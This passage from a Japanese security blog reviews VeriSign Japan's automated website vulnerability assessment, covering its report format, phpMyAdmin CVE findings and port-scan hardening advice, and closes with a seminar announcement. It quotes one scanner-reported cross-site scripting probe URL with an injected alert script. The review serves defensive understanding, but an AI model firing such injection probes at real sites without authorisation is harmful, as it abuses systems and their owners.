脆弱性アセスメントとは何か</h4>
脆弱性アセスメントはインターネット上のWebサイトから、登録対象サイトを指定して行う。いったん登録すると、自動的に週1回脆弱性診断を実施してレポートが作成される。その流れを下図に示す。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBT2UYbvi05AAiaZQ0iGZvYAJOGj4ctgxDwrxtb_Q9jpwcmj_Sgo7QyNkB-dWmS7MoX6jR22NxbpOF_Tdh2ftmcGKmfCT1nUT4ir_THmebu-j-bixU3lVjxX5PghLU3qzOZuBwbVRVvA/s1600/idx-01.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBT2UYbvi05AAiaZQ0iGZvYAJOGj4ctgxDwrxtb_Q9jpwcmj_Sgo7QyNkB-dWmS7MoX6jR22NxbpOF_Tdh2ftmcGKmfCT1nUT4ir_THmebu-j-bixU3lVjxX5PghLU3qzOZuBwbVRVvA/s1600/idx-01.gif" /></a></div>
<br />
① ベリサインのサイトから診断を起動<br />
② 対象サイトに診断を実施<br />
③ 診断終了のメール通知<br />
④ ウェブサイト管理者は管理者サイトにて診断レポートを受け取る<br />
<br />
<h4>
使ってみる</h4>
診断の設定は、管理者サイトから行う。サービスアグリーメントに同意して、「Activate Scanning Service」ボタンをクリックする。すると24時間以内(実際には数時間以内)に脆弱性スキャンが始まる。今回の試用では、オープンソースのアプリケーション(phpMyAdmin、MovableTypeなど)を導入して現実に近い環境で診断したが、診断は開始後1時間程度で終了していた。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2sAsI92InkDj9JelDBqOKSK44UvXYRLzi94sPVeqC7JNlZj7bW8s5TNpz51R9RyGfu6CO5B-ERoe8l0xqRivJKBlpyiSwkPVoJLdPcHkyJtn1BU9LQ9Sm-ZIT2XUdlqp6fEkBOKgiVA/s1600/activate001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="505" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2sAsI92InkDj9JelDBqOKSK44UvXYRLzi94sPVeqC7JNlZj7bW8s5TNpz51R9RyGfu6CO5B-ERoe8l0xqRivJKBlpyiSwkPVoJLdPcHkyJtn1BU9LQ9Sm-ZIT2XUdlqp6fEkBOKgiVA/s640/activate001.png" width="640" /></a></div>
<br />
<br />
診断が終了するとメール通知が来るので、ベリサインのWebサイトから「Download vulnerability report」というリンクをクリックしてレポートをダウンロードする。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnjIEhS_xlkEnx-Ubmm-m0-cyPHTfHKQeDBSP7z-flEBK8i_Ah8zQcBvY5nGHHHKx8cNOo3BuEUHuuZZh-pwo0RzXaErQ_e_XgonmDAQLOBw1NinjN2T_BNO0DRElziKYBZrlaiNhGQg/s1600/activate002b.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnjIEhS_xlkEnx-Ubmm-m0-cyPHTfHKQeDBSP7z-flEBK8i_Ah8zQcBvY5nGHHHKx8cNOo3BuEUHuuZZh-pwo0RzXaErQ_e_XgonmDAQLOBw1NinjN2T_BNO0DRElziKYBZrlaiNhGQg/s1600/activate002b.png" /></a></div>
<br />
なお、上図の下部に「Request On-Demand Scan」というボタンがあるが、これは、重大な脆弱性を発見した場合に表示され、これをクリックすると、定期的な診断を待たずに診断を開始する。レポートの脆弱性を対策した後に、再診断する際にこのボタンを用いるとよい。<br />
<br />
<h4>
結果</h4>
ここでアセスメントの結果レポートを見てみよう。 利用者がまず確認するのは、診断結果サマリだ(下図)。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5cCGCkfcRlnhqWUgRgaegIACCLE40Yu_kQsOXIJ643whbKB9SWyXEjU5drb2neUzt4-ioXJopSxUqPOZSxU49AyDb3XyQ_R922PjTCiwXx8HK0I82OuaucAiBURPIAIBlPcRxgsdk-Q/s1600/report003.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="440" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5cCGCkfcRlnhqWUgRgaegIACCLE40Yu_kQsOXIJ643whbKB9SWyXEjU5drb2neUzt4-ioXJopSxUqPOZSxU49AyDb3XyQ_R922PjTCiwXx8HK0I82OuaucAiBURPIAIBlPcRxgsdk-Q/s640/report003.png" width="640" /></a></div>
<br />
<br />
ご覧のように、脆弱性は危険度に応じてCritical(高危険度)とInformational(情報)に分類されている。脆弱性診断ツールの中には、危険度が5段階程度に細かく表示されるものも多いが、利用者に必要な情報は「対策が必要か否か」という判断なので、この二段階表示は分かりやすいと感じた。ただし、Informationalの中にも対処した方がよいものが含まれる場合があるので、最初に検出された時に内容を確認した方がよいだろう。<br />
縦の分類は、Web、アプリケーション、データベースなど脆弱性の発生箇所の分類だが、ここでは具体的な説明は割愛する。<br />
<br />
ここで、Criticalの脆弱性の一覧を見よう。下図のように、9種類の脆弱性が報告されている。表右端の「Vulnerability Details」の欄はリンクになっていて、 各脆弱性の詳細説明にジャンプすることができる。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnU4JoBe6zOJXGTqRfQIERH0XWOWQPsuAzw_s6836iZRbhJgAMlye_vRObVolO6TFDYsVF2gVwpS2aCWzj6qeOfZDpEHgYByVwEfVZLeVannylMouUkv9Htnz8pOKdMY6Oq2dpuF8wkA/s1600/report004.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="536" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnU4JoBe6zOJXGTqRfQIERH0XWOWQPsuAzw_s6836iZRbhJgAMlye_vRObVolO6TFDYsVF2gVwpS2aCWzj6qeOfZDpEHgYByVwEfVZLeVannylMouUkv9Htnz8pOKdMY6Oq2dpuF8wkA/s640/report004.png" width="640" /></a></div>
<br />
<br />
紙面の関係で、いくつかの脆弱性をかいつまんで紹介する。<br />
まず、VA-001の詳細の冒頭は下表のようになっている。「Cross Site Scripting」とあるように、クロスサイトスクリプティング(XSS)脆弱性であることが分かる。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyUd2_X6LdnEIlRPf0I3MoOEW4neNsdC38vJ6EOYnxTcsCcin_c_p_g1NGK01VSYXg7oO_CuWyy3uHw11nAaAUr1s_Nm7bXZDM-6tCrkS03BkrSSM7-u55kF6bzQzSCrfOYLYpPijJ7A/s1600/xss001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyUd2_X6LdnEIlRPf0I3MoOEW4neNsdC38vJ6EOYnxTcsCcin_c_p_g1NGK01VSYXg7oO_CuWyy3uHw11nAaAUr1s_Nm7bXZDM-6tCrkS03BkrSSM7-u55kF6bzQzSCrfOYLYpPijJ7A/s640/xss001.png" width="640" /></a></div>
<br />
表の意味は、脆弱性のIDがVA-001、脆弱性の発生した場所がアプリケーションであること、脅威の内容が認証情報の盗難(セッションハイジャック)、脆弱性の発生要因が安全でないプログラミングにあることを示している。<br />
表をさらに見ると、Technical Detailsとして脆弱性の発生箇所が示される。具体例を以下に示す。<br />
<blockquote class="tr_bq">
Vulnerable URL: http://www.dwd.jp/login.php?url=/itemlist.php<Script>alert<br />
("HelloSIG")</Script><br />
HTTP request method: GET<br />
Response Snippet: <Script >alert("HelloSIG")</Script></blockquote>
上記から、脆弱性のあるスクリプトが/itemlist.phpであり、パラメータがクエリ文字列urlであることがわかる。この情報は、開発者が脆弱性を再現し、対策する上で役に立つ。対策方法はこのレポートにも簡単に説明しているが、IPAの「安全なウェブサイトの作り方」などを参考にするとよいだろう。<br />
試験環境ではトップページから5階層たどった場所にもXSS脆弱性があったが、正しく指摘されていた。ある程度深いところまでクロールを行っていることが伺えるが、検査の網羅性については保証されていないので、診断がもれる可能性はある。<br />
同様に、このレポートではSQLインジェクションも報告されている(VA-002)が詳細は割愛する。<br />
次に、VA-006を紹介する。詳細レポートの冒頭は以下の通りである。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh44zOr1mstpbrrsy2YF76N15-GdXIQUTX61jgsey9zZOp4_8VGi-3sBokNoaPzvHYX8LEb0oea4RPLTetcOnFp5t_kHx35cMgQm7fmDVcAYVaByEehllTH-FQ64uES6vz-fn-I1f4iXQ/s1600/phpmyadmin001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="114" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh44zOr1mstpbrrsy2YF76N15-GdXIQUTX61jgsey9zZOp4_8VGi-3sBokNoaPzvHYX8LEb0oea4RPLTetcOnFp5t_kHx35cMgQm7fmDVcAYVaByEehllTH-FQ64uES6vz-fn-I1f4iXQ/s640/phpmyadmin001.png" width="640" /></a></div>
<br />
<br />
この脆弱性は、MySQLのデータベースを管理するツールの中でも特に使いやすいことで人気の高いphpMyAdminの脆弱性である。この表を下にたどってVulnerability Details欄を見ると、リモートからコードが実行可能であるという簡単な説明があるが、さらにVA-006のリファレンス情報を参照すると、CVE-2011-2505~CVE-2011-2508が該当することがわかる。このCVE番号を元に、JVN iPedia(IPAが運営している脆弱性データベース)を検索することで、脆弱性の詳しい内容を日本語で読むことができる。<br />
<br />
次に、「Appendix A - Environment Information」からポートスキャンの結果を紹介する。ポートスキャンとは、診断対象サーバーに実際にネットワークアクセスして、活動中のポート番号とサービスの種類、ソフトウェアの種類とバージョン等を確認したものである。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLBlw9KDDwi8N_r2Yl3cW2zxF6Uf4cKdeVk6mVLKh2L0gmQvKmv6QQe2E2AH0t5aPi7Q67MYpvuUJzKv8A7wfEHLpDFQ7i4lMMDRQH3Zq0vYlpWS0_lPGtgnblyqXM4a0SE04C6R3Hng/s1600/portscan.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="354" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLBlw9KDDwi8N_r2Yl3cW2zxF6Uf4cKdeVk6mVLKh2L0gmQvKmv6QQe2E2AH0t5aPi7Q67MYpvuUJzKv8A7wfEHLpDFQ7i4lMMDRQH3Zq0vYlpWS0_lPGtgnblyqXM4a0SE04C6R3Hng/s640/portscan.png" width="640" /></a></div>
<br />
<br />
ポートスキャンの内容はサーバーの役割毎に異なるので、正常・異常の区別はなく、あるがままの内容が表示される。レポートの読者は、本来のサーバーの役割から必要最小限のポート番号を基準として、レポートの表示内容が基準と相違ないかを確認すると良い。とくに、気をつけたいのが「本来公開する必要のない」はずのポートである。Webサーバーの場合、HTTPの80とHTTPSの443は必要だが、これら以外のポートが開いていると、不要なポート・サービスである可能性がある。<br />
この例では、MySQL (3306ポート)とPostgreSQL (5432ポート)は通常公開する必要のないポートである。また、FTP(21ポート)とtelnet(23ポート)はセキュリティ上の問題が生じやすいので、22ポートで動作するsshとscpで代替するべきである。このように、ポートスキャンの結果を精査することで、セキュリティ上の問題点を把握し、改善につなげることができる。<br />
<br />
<h4>
評価・まとめ</h4>
<br />
日本ベリサインの脆弱性アセスメントを試用した。当アセスメント機能は、定期的に(毎週)、対象サイトに影響(負荷やごみを残すようなマイナスの影響)を与えずに診断をすることが特徴である反面、診断の精度についてはツール診断であるための限界があるようである。具体的には、脆弱性ではないものを脆弱性と判定する「誤検知」や、脆弱性が実際にはあるのに検出しない「検知漏れ」の可能性がある。これらは、未知のサイトに対して外部から診断するツールの特性上、原理的にゼロにはできない。<br />
しかし、毎週という高い頻度で定期的に診断することのメリットは大きい。なぜなら、脆弱性管理の以下の課題に対応するためには、定期的な診断が有効であるからだ。<br />
<br />
<ul>
<li>脆弱性情報は日々更新されているので、サイトを脆弱性のない状態にしていても、ある日突然脆弱性のある状態に変わる</li>
<li>設定・更新作業などで、誤って脆弱な設定(不要なポートを公開してしまう等)になる可能性は常にある</li>
</ul>
<br />
このため、日本ベリサインの証明書を購入すれば利用できる「脆弱性アセスメント」機能を有効活用すれば、追加コストを掛けずに脆弱性管理の有力なツールが得られると言えるだろう。ockeghemhttp://www.blogger.com/profile/13465836435601518769noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-17523315495846647322012-06-26T14:06:00.000+09:002012-06-26T14:06:44.503+09:00インフィニテック社のセミナーで基調講演します7月5日株式会社インフィニテックの「第4回 セキュリティ&コンプライアンスセミナー 2012」で基調講演致します。<br />
<br />
日時:2012年7月5日(木曜日) 14時00分~17時00分(徳丸の出番は14:10~15:10)<br />
場所:KDDIホール(東京都千代田区)<br />
費用:無料(申し込みは<a href="http://w3.infinitec.co.jp/landingpages/seminar201207/index.html">こちら</a>)<br />
講演タイトル:日本のWebセキュリティの過去、現在、そして将来<br />
<br />
すごく汎用性の高いタイトルにしてしまいましたが、アジェンダは以下のように考えています。<br />
<div>
<br /></div>
(1)日本のWebセキュリティの事情
<br />
<ul>
<li>インターネットはグローバルなものだが日本固有の事情はあるか?</li>
<li>文字コードの問題</li>
<li>ケーススタディ:“ガラパゴス”ケータイのセキュリティ</li>
</ul>
(2)日本のWebの守りはどうか
<br />
<ul>
<li>Webアプリケーション脆弱性の彼我の違い</li>
<li>WAFに関する失望と期待</li>
</ul>
(3)日本のWebセキュリティの現状と将来
<br />
<ul>
<li>現状と将来に対する私見</li>
<li>クラウド、スマートフォン、HTML5はどうか</li>
<li>OWASP Japanの紹介</li>
<li>まとめ</li>
</ul>
セミナー全体のテーマが「今だからこそ日本発セキュリティソリューション“頑張ろう!メイドインジャパン”」ですので、日本のWebセキュリティどーよということで内容を考えました。<br />
日本固有の話題としては、やや旧聞になりつつあり、しかしまだ現実の課題であるケータイWebのセキュリティも取り上げようと思います。<br />
すみません、OWASP Japanで「多分最後になる」と書いてしまいましたが、もったいないのでもう一回します。DNS Rebindingやら、KDDIの新ゲートウェイの問題点(解決済み)も実演ビデオを流そうと思います(これらはOWASPでもやります)。<br />
<br />ockeghemhttp://www.blogger.com/profile/13465836435601518769noreply@blogger.com0